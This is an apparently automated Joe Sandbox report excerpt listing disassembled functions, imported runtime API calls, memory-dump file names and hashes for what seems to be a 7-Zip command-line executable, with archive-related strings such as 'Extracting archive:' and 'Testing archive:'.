Download Yara Rule

APIs

Part of subcall function 00A59BCC: free.MSVCRT ref: 00A59C11
Part of subcall function 00A59BCC: free.MSVCRT ref: 00A59C19
Part of subcall function 00A59BCC: free.MSVCRT ref: 00A59C3B

Part of subcall function 00A59BCC: free.MSVCRT ref: 00A59D2A

wcscmp.MSVCRT ref: 00A59E66
free.MSVCRT ref: 00A59ECA
free.MSVCRT ref: 00A59ED4
free.MSVCRT ref: 00A59F13
free.MSVCRT ref: 00A59F1B
free.MSVCRT ref: 00A59F28
free.MSVCRT ref: 00A59F49
free.MSVCRT ref: 00A59F51

Part of subcall function 00A33404: free.MSVCRT ref: 00A33431
Part of subcall function 00A33404: memmove.MSVCRT ref: 00A3344C

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction ID: 3127e5c50c33d9bd0e488dc4189b8cfb2e1ecd58966049dcb3fac5ec45113acb
Opcode Fuzzy Hash: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction Fuzzy Hash: 4B41C233304A8091CA10EB16EA4025FA761F785BE9F545212FF6E4B764DF38C98EC700

Function 00A7E16E Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00A7E1C2
__setusermatherr.MSVCRT ref: 00A7E211
_initterm.MSVCRT ref: 00A7E225
__getmainargs.MSVCRT ref: 00A7E256
_initterm.MSVCRT ref: 00A7E26A
_cexit.MSVCRT ref: 00A7E29D

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction ID: 0181e13c38e61c0feea30e00d1b817990a9b209d7c0cca5edd034543336e6f92
Opcode Fuzzy Hash: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
Instruction Fuzzy Hash: 84310971318B41CAEB40DF25EC9435A7761F389764F50C225E66E476A4DF38C945CB01

Function 00A7E1A6 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00A7E1C2
__setusermatherr.MSVCRT ref: 00A7E211
_initterm.MSVCRT ref: 00A7E225
__getmainargs.MSVCRT ref: 00A7E256
_initterm.MSVCRT ref: 00A7E26A
_cexit.MSVCRT ref: 00A7E29D

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 30788d7841b0473b585a3c0c90d5bf43cd4f14532d553b4f8f38538305f58c43
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: FD212B71318B41CAEB40DF29EC5034A7761F78A764F508225EAAE477B4DF38CA45CB41

Function 00A7E139 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00A7E1C2
__setusermatherr.MSVCRT ref: 00A7E211
_initterm.MSVCRT ref: 00A7E225
__getmainargs.MSVCRT ref: 00A7E256
_initterm.MSVCRT ref: 00A7E26A
_cexit.MSVCRT ref: 00A7E29D

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 30788d7841b0473b585a3c0c90d5bf43cd4f14532d553b4f8f38538305f58c43
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: FD212B71318B41CAEB40DF29EC5034A7761F78A764F508225EAAE477B4DF38CA45CB41

Function 00A7E15A Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 00A7E1C2
__setusermatherr.MSVCRT ref: 00A7E211
_initterm.MSVCRT ref: 00A7E225
__getmainargs.MSVCRT ref: 00A7E256
_initterm.MSVCRT ref: 00A7E26A
_cexit.MSVCRT ref: 00A7E29D

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
String ID:
API String ID: 352749199-0
Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction ID: 30788d7841b0473b585a3c0c90d5bf43cd4f14532d553b4f8f38538305f58c43
Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
Instruction Fuzzy Hash: FD212B71318B41CAEB40DF29EC5034A7761F78A764F508225EAAE477B4DF38CA45CB41

Function 00A54610 Relevance: 8.8, APIs: 7, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00A63EE0: free.MSVCRT ref: 00A63F45

free.MSVCRT ref: 00A54633
free.MSVCRT ref: 00A5463C
free.MSVCRT ref: 00A54646
free.MSVCRT ref: 00A54672
free.MSVCRT ref: 00A5467A
free.MSVCRT ref: 00A54687
free.MSVCRT ref: 00A546BA

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction ID: 9bd4ec7559668401c62e4efa830d8774325b38f2cabdf960dad937d00277fcf8
Opcode Fuzzy Hash: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
Instruction Fuzzy Hash: C4114F73741A4496CA24BF22DB512693320FB97BA5B284321EF2D17B95DF24C8AA8300

Function 00A5419C Relevance: 8.8, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A541B9
free.MSVCRT ref: 00A541C5
free.MSVCRT ref: 00A541D1
free.MSVCRT ref: 00A541DD
free.MSVCRT ref: 00A541E6
free.MSVCRT ref: 00A541EF
free.MSVCRT ref: 00A541F8

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction ID: 9dbc054aab7f6c2fb4dc6d771da0272352693706edec09c163e0f044b11a850c
Opcode Fuzzy Hash: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
Instruction Fuzzy Hash: 0D118332312A4485CF14EF76D9A526C7360FBC5F99F244662AF6E4B765CF24C84A8344

Function 00A63A42 Relevance: 7.7, APIs: 6, Instructions: 151COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A63C0C
free.MSVCRT ref: 00A63C17
free.MSVCRT ref: 00A63C22
free.MSVCRT ref: 00A63C77
free.MSVCRT ref: 00A63C82

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction ID: 9bd5fc6f1d0ec1f676f36cc0d737b96b537f319dba5f9c099d52faf3fefee14a
Opcode Fuzzy Hash: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
Instruction Fuzzy Hash: 7B513473201A4491CF10EF25D5902AE6731F799BC9F908122EE4E97729DFB8CA8EC341

Function 00A71544 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00A715D5

Part of subcall function 00A7B1C8: memset.MSVCRT ref: 00A7B20D
Part of subcall function 00A7B1C8: fputs.MSVCRT ref: 00A7B232

Strings

Testing archive: , xrefs: 00A715C0
Open, xrefs: 00A71604
Extracting archive: , xrefs: 00A715C7

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: Extracting archive: $Open$Testing archive:
API String ID: 3543874852-295398807
Opcode ID: 57ce32b18a297629e4857599c7fb9a690bf538672504f27dd934718ea67813a2
Instruction ID: 6ec8e5161c4dd61c14242e6bd69c49ffd8dac46ab223865ca417d5c0a993da02
Opcode Fuzzy Hash: 57ce32b18a297629e4857599c7fb9a690bf538672504f27dd934718ea67813a2
Instruction Fuzzy Hash: 7E119E32342B8284DF54EB29DD443E823A0E749B98F5CC5369E0E4A260EF38C48AC310

Function 00A649B0 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A64A5C
free.MSVCRT ref: 00A64A67
free.MSVCRT ref: 00A64AE4

Part of subcall function 00A33314: memmove.MSVCRT ref: 00A33339

free.MSVCRT ref: 00A64B0F
free.MSVCRT ref: 00A64B1A

Part of subcall function 00A32130: malloc.MSVCRT ref: 00A32134
Part of subcall function 00A32130: _CxxThrowException.MSVCRT ref: 00A3214F

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
Instruction ID: 2572059eafba4e690a25d90ccd8e420adf2cb6c4308300bf3c6d5d7ce3db4584
Opcode Fuzzy Hash: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
Instruction Fuzzy Hash: 07414933245A84A5CB20EF26D5503AE6771FB9ABD4F481122EB8E47729DF38C599C314

Function 00A7E120 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction ID: 5916f99a13f116fa908b26df50459d03880c1ee3770f4853da3205c12eddf9df
Opcode Fuzzy Hash: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
Instruction Fuzzy Hash: F331E871318B41CAEB10DF28ED9475A7760F386B64F90C225E6AD477B4DB38CA85CB01

Function 00A32320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A3237E
free.MSVCRT ref: 00A323AB
fputs.MSVCRT ref: 00A323B8
free.MSVCRT ref: 00A323C4

Part of subcall function 00A33274: memmove.MSVCRT ref: 00A332AC

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$fputsmemmove
String ID:
API String ID: 4106585527-0
Opcode ID: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction ID: 29c360e57018fc95f488e950a51c4a73d7a1c6a00c6e4930d8ba6e080362837b
Opcode Fuzzy Hash: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
Instruction Fuzzy Hash: EE01697330884091DE20AB25E95125EA721E7D57F4F445321BA6F4B6F9DE28C686C700

Function 00A368A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 00A368C7
SetFileAttributesW.KERNEL32 ref: 00A36903
free.MSVCRT ref: 00A36913
free.MSVCRT ref: 00A36921

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction ID: 0f65eb11ebbdb9e7ce20c8663ac568d2ab454b2bb43f08e7e8626a36061e7d27
Opcode Fuzzy Hash: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
Instruction Fuzzy Hash: 9C01DB3230871191DA309B21EA8037E57649BCA7F4F588321BE6D877A4DE24CD8B9701

Function 00A59BCC Relevance: 5.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A59C11
free.MSVCRT ref: 00A59C19
free.MSVCRT ref: 00A59C3B
free.MSVCRT ref: 00A59D2A

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
Instruction ID: 3947be9bb3a3c66884a466e3f02d579487da5dd3e5eb15ed35dcfcfe77244a1c
Opcode Fuzzy Hash: c672974581852c8ab8e8e4232f116f9865b8037c8c9b18d6af4eac83a37c9762
Instruction Fuzzy Hash: 41316D73715684CACB60EF16E58052FA7A1F7887A5F588235FF9E4B758DA38C889C700

Function 00A5A9FC Relevance: 5.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A5AA95
free.MSVCRT ref: 00A5AAB8
free.MSVCRT ref: 00A5AAC5
free.MSVCRT ref: 00A5AAD2

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction ID: 9ed13a9bf18549e7ae9ffcc3090ba380fb1eb9797216d00eda3e98e16cab51c3
Opcode Fuzzy Hash: 2fb1bdadda0f0f67c2ab4cf383632212aedf00074fa5b7e75f5519585e2e69a4
Instruction Fuzzy Hash: 1A115A7231854051DA20EB65E7513AE9760EBD53F0F501361BFAE876EADE68C94FCB00

Function 00A501A8 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A50211
free.MSVCRT ref: 00A5021C
free.MSVCRT ref: 00A50249
free.MSVCRT ref: 00A50254

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction ID: bd686ea4bca3080280a0df85e24bb4b01d5575bbe1e733c4655c6688c132faae
Opcode Fuzzy Hash: 2682a3d483ed8198c6bc67279e3496169ab0818a4c7350e9ba69b47f62e70939
Instruction Fuzzy Hash: 4801C87220854081CD20EB21F7555AE9321FBC67E5F541321BF9E576A5DE38C94ECB00

Function 00A38CDC Relevance: 4.6, APIs: 3, Instructions: 75fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A389D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00A389EA

CreateFileW.KERNELBASE ref: 00A38D51
CreateFileW.KERNEL32 ref: 00A38DA4
free.MSVCRT ref: 00A38DB2

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: CreateFile$CloseHandlefree
String ID:
API String ID: 210839660-0
Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction ID: 11c16f30ad09a21d4e884f05e0beb2467df77d60027a93a90155b65ffe236e76
Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction Fuzzy Hash: 5B217F332047919ACB609F15A941A5A6764B3967F4F544321FFB943BE4DF38C8968B00

Function 00A72CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00A33274: memmove.MSVCRT ref: 00A332AC

fputs.MSVCRT ref: 00A72D41
fputs.MSVCRT ref: 00A72DCF
free.MSVCRT ref: 00A72DFF

Part of subcall function 00A32300: fputc.MSVCRT ref: 00A32311

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: fputs$fputcfreememmove
String ID:
API String ID: 1158454270-0
Opcode ID: eef8350ceeca3f9f5c16306e4864ccddccb6ae17d882d2c6956f16779c2a39dd
Instruction ID: 7da1a2744009ab190a020bcc856fe2f0677f66d9a7b3f39f647a384534a00c34
Opcode Fuzzy Hash: eef8350ceeca3f9f5c16306e4864ccddccb6ae17d882d2c6956f16779c2a39dd
Instruction Fuzzy Hash: 632110A2744B0181CF34EB25E9513AE6360EB95BE4F48D221FA5F4B769DE2CC5458701

Function 00A32300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00A32311

Strings

Kernel , xrefs: 00A32300

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: fputc
String ID: Kernel
API String ID: 1992160199-1736990243
Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction ID: f1e24da27dcbdaf10bfa4e3a78064bbf11317598db247d5be9f7a3de4e365b55
Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction Fuzzy Hash: 57C09B5575470882EF1417B7EC453251211D75DF91F185030CE1D0B350D91CD5D68721

Function 00A7B1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00A7B20D
fputs.MSVCRT ref: 00A7B232

Part of subcall function 00A32B04: _CxxThrowException.MSVCRT ref: 00A32B2D
Part of subcall function 00A32B04: free.MSVCRT ref: 00A32B44

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

